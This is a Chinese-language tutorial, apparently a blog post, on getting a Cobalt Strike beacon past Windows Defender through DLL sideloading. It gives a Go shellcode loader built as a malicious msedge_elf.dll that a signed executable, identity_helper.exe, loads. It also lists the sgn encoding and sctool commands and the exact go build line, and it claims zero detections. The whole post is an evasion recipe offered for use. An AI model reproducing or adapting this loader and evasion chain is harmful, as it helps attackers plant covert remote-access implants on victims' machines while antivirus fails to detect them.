# 前言

本篇知识学习于大白哥,也算是免杀入门了,但是 360 那些还是被杀了,目前只能绕过 defender,各位师傅可用看一下。

# bin 文件

1、首先 cs 生成一个恶意 bin 文件

# 白文件

2、然后找一个白文件
如图:identity_helper.exe

查看数字签名是否可用

此白文件调用了 GetInstallDetailsPayload () 和 SignalInitializeCrashReporting () 两个函数,任意一个函数写入木马就行

package main

import "C"
import (
  "golang.org/x/sys/windows"
  "syscall"
  "unsafe"
)

//export GetInstallDetailsPayload
func GetInstallDetailsPayload() int {
  sc := []byte{0xe8,0x2b,0x00...} // cs的无阶段的shellcode使用sgn进行处理
  handle := windows.NewLazySystemDLL("kernel32.dll")
  VirtualAlloc := handle.NewProc("VirtualAlloc")
  RtlMoveMemory := handle.NewProc("RtlMoveMemory")
  addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)
  RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
  syscall.SyscallN(addr)
  return 0
}

//export SignalInitializeCrashReporting
func SignalInitializeCrashReporting() int {
  return 0
}

func main() {

}

然后改 exe 执行会调用 msedge_elf.dll 这个 dll,我们可用生成一个同名恶意 dll,来执行我们操作

# sgn

3、用 sgn 加密工具,将开始生成 beacon.bin 文件加密,生成新的 pd.bin

sgn -a 64 -c 1 -o pd.bin beacon.bin

# sctool

4、将生成的 bp.bin 文件用 sctool 工具转化为十六进制,输出到 bp.txt 中
我已经将工具添加到环境变量中了

sctool -f pb.bin > pb.txt

5、复制 pb.txt 的 shellcode 到第二部的 main.go 中,执行以下命令

go build -ldflags="-w -s" -buildmode=c-shared -o msedge_elf.dll main.go

可用看到生成了一个同名的恶意 dll 文件

然后双击 exe 白文件运行,会带动黑 dll 文件

然后直接上线

# defender 查杀

查杀三个文件,0 风险,可以绕过 defender